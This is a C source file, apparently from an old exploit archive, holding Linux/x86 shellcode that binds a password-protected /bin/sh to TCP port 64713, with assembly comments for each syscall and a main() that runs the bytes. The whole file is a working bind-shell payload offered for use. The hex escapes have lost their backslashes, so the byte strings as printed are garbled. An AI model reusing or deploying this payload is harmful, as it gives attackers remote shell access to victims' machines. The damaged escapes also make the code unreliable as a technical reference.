/* 
 * linux-x86-authportbind.c - AUTH portbind shellcode 166 bytes for Linux/x86
 * Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
 * 
 * portbind shellcode that bind()'s a shell on port 64713/tcp
 * and requests a user password.
 *
 */

char shellcode[] = 

  /* socket(AF_INET, SOCK_STREAM, 0) */

  "x6ax66"			// push   $0x66
  "x58"			// pop    %eax
  "x6ax01"			// push   $0x1
  "x5b"			// pop    %ebx
  "x99"			// cltd
  "x52"			// push   %edx
  "x53"			// push   %ebx
  "x6ax02"			// push   $0x2
  "x89xe1"			// mov    %esp,%ecx
  "xcdx80"			// int    $0x80

  /* bind(s, server, sizeof(server)) */

  "x52"			// push   %edx
  "x66x68xfcxc9"		// pushw  $0xc9fc  // PORT = 64713
  "x66x6ax02"		// pushw  $0x2
  "x89xe1"			// mov    $esp,%ecx
  "x6ax10"			// push   $0x10
  "x51"			// push   %ecx
  "x50"			// push   %eax
  "x89xe1"			// mov    %esp,%ecx
  "x89xc6"			// mov    %eax,%esi
  "x43"			// inc    %ebx
  "xb0x66"			// mov    $0x66,%al
  "xcdx80"			// int    $0x80

  /* listen(s, anything) */

  "xb0x66"			// mov    $0x66,%al
  "xd1xe3"			// shl    %ebx
  "xcdx80"			// int    $0x80

  /* accept(s, 0, 0) */

  "x52"			// push   %edx
  "x52"			// push   %edx
  "x56"			// push   %esi
  "x89xe1"			// mov    %esp,%ecx
  "x43"			// inc    %ebx
  "xb0x66"			// mov    $0x66,%al
  "xcdx80"			// int    $0x80

  "x96"			// xchg   %eax,%esi

  /* send(s, "Password: ", 0x0a, flags) */

  "x52"			// push   %edx
  "x68x72x64x3ax20"	// push   $0x203a6472
  "x68x73x73x77x6f"	// push   $0x6f777373
  "x66x68x50x61"		// pushw  $0x6150
  "x89xe7"			// mov    $esp,%edi
  "x6ax0a"			// push   $0xa
  "x57"			// push   %edi
  "x56"			// push   %esi
  "x89xe1"			// mov    %esp,%ecx
  "xb3x09"			// mov    $0x9,%bl
  "xb0x66"			// mov    $0x66,%al
  "xcdx80"			// int    $0x80

  /* recv(s, *buf, 0x08, flags) */

  "x52"			// push   %edx
  "x6ax08"			// push   $0x8
  "x8dx4cx24x08"		// lea    0x8(%esp),%ecx
  "x51"			// push   %ecx
  "x56"			// push   %esi
  "x89xe1"			// mov    %esp,%ecx
  "xb3x0a"			// mov    $0xa,%bl
  "xb0x66"			// mov    $0x66,%al
  "xcdx80"			// int    $0x80

  "x87xf3"			// xchg   %esi,%ebx

  /* like: strncmp(string1, string2, 0x8) */
  
  "x52"                        // push   %edx
  "x68x61x75x6cx74"	// push   $0x746c7561 // password
  "x68x67x6fx74x66"	// push   $0x66746f67 // here
  "x89xe7"			// mov    %esp,%edi
  "x8dx74x24x1c"		// lea    0x1c(%esp),%esi
  "x89xd1"			// mov    %edx,%ecx
  "x80xc1x08"		// add    $0x8,%cl
  "xfc"			// cld
  "xf3xa6"			// repz   cmpsb %es:(%edi),%ds:(%esi)
  "x74x04"			// je     dup

  /* exit(something) */

  "xf7xf0"			// div    %eax
  "xcdx80"			// int    $0x80

  /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */

  "x6ax02"			// push   $0x2
  "x59"			// pop    %ecx

  "xb0x3f"			// mov    $0x3f,%al
  "xcdx80"			// int    $0x80
  "x49"			// dec    %ecx
  "x79xf9"			// jns    dup_loop

  /* execve("/bin/sh", ["/bin/sh"], NULL) */

  "x6ax0b"			// push   $0xb
  "x58"			// pop    %eax
  "x52"			// push   %edx
  "x68x2fx2fx73x68"	// push   $0x68732f2f
  "x68x2fx62x69x6e"	// push   $0x6e69622f
  "x89xe3"			// mov    %esp, %ebx
  "x52"			// push   %edx
  "x53"			// push   %ebx
  "x89xe1"			// mov    %esp, %ecx
  "xcdx80";			// int    $0x80


int main() {
 
        int (*f)() = (int(*)())shellcode;
        printf("Length: %un", strlen(shellcode));
        f();
}

// www.Syue.com [2006-04-06]